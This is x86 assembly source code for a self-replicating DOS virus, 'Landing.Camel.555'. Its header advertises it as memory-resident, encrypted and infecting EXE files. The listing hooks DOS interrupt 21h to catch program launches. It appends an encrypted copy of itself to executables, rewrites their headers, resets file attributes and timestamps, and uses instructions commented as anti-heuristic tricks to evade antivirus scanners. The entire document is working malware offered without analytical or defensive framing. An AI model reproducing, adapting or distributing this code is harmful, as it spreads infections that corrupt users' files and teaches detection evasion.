;==================================================;| ; LANDING.CAMEL.5.555 ;| ;==================================================;| ; TSR..................... Yes ;| ; Encrypted............... Yes ;| ; Appending Virus......... Yes ;| ; EXE infector............ Yes ;| ; Reset Attributes........ Yes ;| ; Reset Time/Date......... Yes ;| ;==================================================;| ORG 0H ;|No worries about delta offset ;==================================================;| VIRUS_START: ;| ;==================================================;| CALL FIND_OFFSET ;|Calculate the delta offset ;==================================================;| FIND_OFFSET: ;| ;==================================================;| POP BP ;| SUB BP,OFFSET FIND_OFFSET ;|BP now contains the delta offset PUSH ES ;| PUSH DS ;| PUSH CS ;| PUSH CS ;| POP DS ;| POP ES ;| LEA AX,[ENCRYPT_DECRYPT+BP] ;|Load AX with offset CALL CS:AX ;|Decrypt the virus code ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ENCRYPT_START: ;|Start encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| POP ES ;| POP DS ;| ;==================================================;| INSTALL_CHECK: ;| ;==================================================;| MOV AH,2CH ;|DOS Function-Get system time INT 21H ;|Call interrupt MOV BL,DL ;|BL=a number from 0-100 MOV AH,0BH ;|DOS Function INT 21H ;|Call interrupt CMP AH,00H ;|AH=0? JNE INSTALL_START ;|No! Install the virus ADD BX,BP ;|Account for the offset CMP AL,CS:[BX] ;|Do the bytes match? JE INSTALL_FINISH ;|Already installed! ;==================================================;| INSTALL_START: ;| ;==================================================;| PUSH DS ;|Save original DS PUSH ES ;|Save original ES MOV AH,4AH ;|DOS Function-Allocate memory MOV BX,0FFFFH ;|A Really big number INT 21H ;|Call interrupt SUB BX,(VIRUS_LENGTH+15+1AH)/16+1 ;|Subtract from the total MOV AX,4A00H ;|Shrink the block INT 21H ;|Call interrupt MOV AX,4800H ;|Allocate the memory MOV BX,(VIRUS_LENGTH+15+1AH)/16 ;|Amount to allocate INT 21H ;|Call interrupt MOV ES,AX ;|Point ES to the new MCB DEC AX ;|AX=MCB MOV DS,AX ;|DS=AX=MCB MOV BYTE PTR DS:[0],'Z' ;|Mark the end of the block MOV WORD PTR DS:[1],8 ;|Identify as a DOS program PUSH CS ;|Change to the old segment POP DS ;|DS=CS XOR DI,DI ;|Copy virus to memory MOV CX,(VIRUS_LENGTH+1)/2 ;|Number of bytes to copy LEA SI,BP ;|Start at the beginning REP MOVSW ;|Move DS:[SI] to ES:[DI] ;==================================================;| INSTALL_NEW_INT21H: ;| ;==================================================;| MOV DS,CX ;|Change to the Interrupt Table MOV AX,WORD PTR DS:[21H*4] ;|Load the offset of int 21h into AX MOV WORD PTR ES:OLD_INT21H,AX ;|Save the offset of int 21h MOV AX,WORD PTR DS:[21H*4+2] ;|Load the segment of int 21h into AX MOV WORD PTR ES:OLD_INT21H+2,AX ;|Save the segment of int 21h PUSH ES ;|Save ES POP DS ;|Change segment to virus in memory MOV AX,2125H ;|DOS Function-Set Interrupt Vector XCHG AH,AL ;|Anti-heuristic LEA DX,NEW_INT21H ;|Point to our procedure INT 21H ;|Call interrupt POP ES ;|Restore original ES POP DS ;|Restore original DS ;==================================================;| INSTALL_FINISH: ;| ;==================================================;| MOV AX,ES ;|AX = PSP ADD AX,10H ;|AX = PSP + 10h ADD WORD PTR CS:[BP+_CS],AX ;|Save this address in CS:IP CLI ;|Clear maskable interrupts MOV SP,WORD PTR CS:[BP+_SP] ;|Manipulate stack ADD AX,WORD PTR CS:[BP+_SS] ;| MOV SS,AX ;|Manipulate stack STI ;|Restore maskable interrupts XOR AX,AX ;|Clear register XOR BX,BX ;|Clear register CWD ;|Clear register XOR BP,BP ;|Clear register XOR SI,SI ;|Clear register XOR DI,DI ;|Clear register ;==================================================;| VIRUS_DATA: ;| ;==================================================;| DB 0EAH ;|Jump back to program _IP DW 0H ;|Original IP _CS DW 0FFF0H ;|Original CS _SP DW 0H ;|Original SP _SS DW 0H ;|Original SS _MSG DB 'Landing.Camel.555',0 ;|Virus name and author ;==================================================;| NEW_INT21H: ;| ;==================================================;| CMP AH,0BH ;|Installation check? JE INSTALLATION_CHECK ;|Yes! Lets go do it PUSHF ;|Save flags PUSHA ;|Save registers PUSH DS ;|Save registers PUSH ES ;|Save registers CMP AX,4B00H ;|DOS Function-Execute file? JE INFECT_FILE ;|Yes! Lets go do it ;==================================================;| QUIT: ;| ;==================================================;| POP ES ;| POP DS ;| POPA ;| POPF ;| DB 0EAH ;|Jump far instruction OLD_INT21H DD ? ;|Original Int 21h address ;==================================================;| INSTALLATION_CHECK: ;| ;==================================================;| XOR AH,AH ;|Clear AH MOV AL,CS:[BX] ;|Move random byte into AL IRET ;| ;==================================================;| INT21H: ;| ;==================================================;| PUSHF ;|Save Flags CALL DWORD PTR CS:[OLD_INT21H] ;|Call Interrupt 21h RET ;|Return ;==================================================;| INFECT_FILE: ;| ;==================================================;| MOV SI,DX ;|Load filename from DS:[DX] into DS:[SI] ;==================================================;| CHECK_EXTENSION: ;|Loop to test extension ;==================================================;| LODSB ;|Load a byte into AL from DS:[SI] OR AL,AL ;|Are we at the end? JE QUIT ;|Yes! No extension! CMP AL,"." ;|Is it a point? JNE CHECK_EXTENSION ;|No! Test the next letter LODSW ;|Load a word into AX from DS:[SI] CMP AX,"XE" ;|Are the first letters EX? JNE QUIT ;|No! Quit LODSB ;|Load a byte into AL from DS:[SI] CMP AL,"E" ;|Is the last letter E? JNE QUIT ;|No! Quit MOV AX,4300H ;|DOS function=Get File Attribute XOR CX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt PUSH CX ;|Save file attribute MOV CX,4301H ;|DOS function=Set File Attribute PUSH CX ;|Save attributes XOR AX,AX ;|CX=0 so file attribute is normal file XCHG AX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt MOV AX,3D02H ;|DOS function=Open a File (Read and Write) CALL INT21H ;|DX holds the name of the file JC RESTORE_ATTRIBUTES ;|Error opening file! XCHG BX,AX ;|Exchange handle MOV AX,5700H ;|DOS function=Get File Time/Date CALL INT21H ;|Call original interrupt PUSH CX ;|Save Time PUSH DX ;|Save Date PUSH CS ;|Change the segment to ours POP DS ;|rather than the infectee PUSH CS ;|Change the segment to ours POP ES ;|rather than the infectee MOV AH,3FH ;|DOS function=Read from File LEA DX,_HEADER ;|Save the original header MOV CX,1AH ;|Read the original header CALL INT21H ;|Call original interrupt CMP BYTE PTR _HEADER,'Z' ;|Is the first byte a Z? JZ INFECT_EXE ;|File is really a .EXE CMP BYTE PTR _HEADER,'M' ;|Is the first byte a M? JZ INFECT_EXE ;|File is really a .EXE ;==================================================;| CLOSE_FILE: ;| ;==================================================;| MOV AX,5700H ;|DOS function=Get File Time/Date POP DX ;|CX=original time value POP CX ;|DX=original date value ADD AX,1 ;|DOS function=Set File Time/Date CALL INT21H ;|Call original interrupt MOV AH,3EH ;|Close file function CALL INT21H ;|Call original interrupt ;==================================================;| RESTORE_ATTRIBUTES: ;| ;==================================================;| POP AX ;|Restore attribute POP CX ;|Restore attribute CALL INT21H ;|Call original interrupt JMP QUIT ;|Leave it all behind ;==================================================;| INFECT_EXE: ;| ;==================================================;| CMP BYTE PTR [_HEADER+18H],"@" ;|Is it a windows executable? JZ CLOSE_FILE ;|Yes! Lets leave CMP WORD PTR [_HEADER+10H],"LC" ;|Is the file already infected? JZ CLOSE_FILE ;|Yes! Lets leave MOV AX,4202H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to end of file (EOF) CWD ;|Same as XOR DX,DX CALL INT21H ;|Call original interrupt PUSH AX ;|Save file size PUSH DX ;|Save file size MOV CX,WORD PTR [_HEADER+14H] ;|Save IP MOV CS:[_IP],CX ;|Save IP MOV CX,WORD PTR [_HEADER+16H] ;|Save CS MOV CS:[_CS],CX ;|Save CS MOV CX,WORD PTR [_HEADER+10H] ;|Save SP MOV CS:[_SP],CX ;|Save SP MOV CX,WORD PTR [_HEADER+0EH] ;|Save SS MOV CS:[_SS],CX ;|Save SS MOV CX,WORD PTR [_HEADER+08H] ;|Get header length SHL CX,4 ;|Convert length into bytes SUB AX,CX ;|Subtract header size SBB DX,0 ;|From file size MOV CX,10H ;|Divide the result by paragraphs DIV CX ;|to get OFFSET:SEGMENT form MOV WORD PTR [_HEADER+14H],DX ;|New IP MOV WORD PTR [_HEADER+16H],AX ;|New CS MOV WORD PTR [_HEADER+10H],"LC" ;|ID marker for Landing Camel POP DX ;|Restore file size POP AX ;|Restore file size ADD AX,VIRUS_LENGTH ;|Add virus size to ADC DX,0 ;|the file size MOV CX,200H ;|Divide AX by size of page DIV CX ;|and put remainder in DX OR DX,DX ;|Is there no remainder? JZ WRITE_VIRUS ;|Yes! INC AX ;|Increment the number of pages ;==================================================;| WRITE_VIRUS: ;| ;==================================================;| MOV WORD PTR [_HEADER+02H],DX ;|Save number of pages MOV WORD PTR [_HEADER+04H],AX ;|Save bytes in the last page MOV AH,2CH ;|DOS Function-Get System Time CALL INT21H ;|Call original interrupt XCHG CH,CL ;|Switch hours with minutes ADD DX,CX ;|Add minutes to seconds ... XOR DX,WORD PTR ENCRYPT_KEY ;|XOR with previous key MOV WORD PTR CS:ENCRYPT_KEY,DX ;|Save the new key XOR DI,DI ;|Start at beginning of the block XOR SI,SI ;|Start at beginning of the block MOV AX,08D00H ;|Choose a temporary segment MOV ES,AX ;|Now point to it MOV CX,(VIRUS_LENGTH+1)/2 ;|Number of words to copy REP MOVSW ;|Copy the code PUSH ES ;|Change the working segment to POP DS ;|the freshly copied part XOR BP,BP ;|Alter the delta offset LEA AX,ENCRYPT_DECRYPT ;|Load AX with offset CALL CS:AX ;|Encrypt the virus code LEA DX,VIRUS_START ;|Start copying from beginning MOV AX,VIRUS_LENGTH ;|Amount to copy MOV CX,4000H ;|DOS Function-Write to file XCHG AX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt PUSH CS ;|Change the segment POP DS ;|to the original file MOV AX,4200H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to beginning of file (BOF) CWD ;|Same as XOR DX,DX CALL INT21H ;|Call original interrupt MOV AX,1AH ;|DOS function=Write to File MOV CX,4000H ;|Write 1AH bytes to beginning of file LEA DX,_HEADER ;|From _HEADER XCHG AX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt JMP CLOSE_FILE ;|All finished lets go ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ENCRYPT_END: ;|End encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ;==================================================;| ENCRYPT_DECRYPT: ;| ;==================================================;| LEA SI,[BP+ENCRYPT_START] ;|Start from the beginning MOV DI,SI ;|Start from the beginning MOV CX,ENCRYPT_LENGTH/2 ;|How much to encrypt ;==================================================;| XOR_LOOP: ;| ;==================================================;| LODSW ;|Load word from SI into AX and INC SI JNC FALSE_JMP1 ;|Anti-heuristic ;==================================================;| FALSE_JMP2: ;| ;==================================================;| STOSW ;|Load word from AX into DI and INC DI LOOP XOR_LOOP ;|Loop until finished RET ;| ;==================================================;| FALSE_JMP1: ;| ;==================================================;| DB 35H ;|This means XOR AX,WORD VALUE ENCRYPT_KEY DW 0000 ;|Random encryption key JNC FALSE_JMP2 ;|Anti-heuristic ;==================================================;| VIRUS_END: ;| ;==================================================;| _HEADER DB 1AH DUP (?) ;|Original Header ENCRYPT_LENGTH EQU OFFSET ENCRYPT_END - OFFSET ENCRYPT_START VIRUS_LENGTH EQU OFFSET VIRUS_END - OFFSET VIRUS_START END VIRUS_START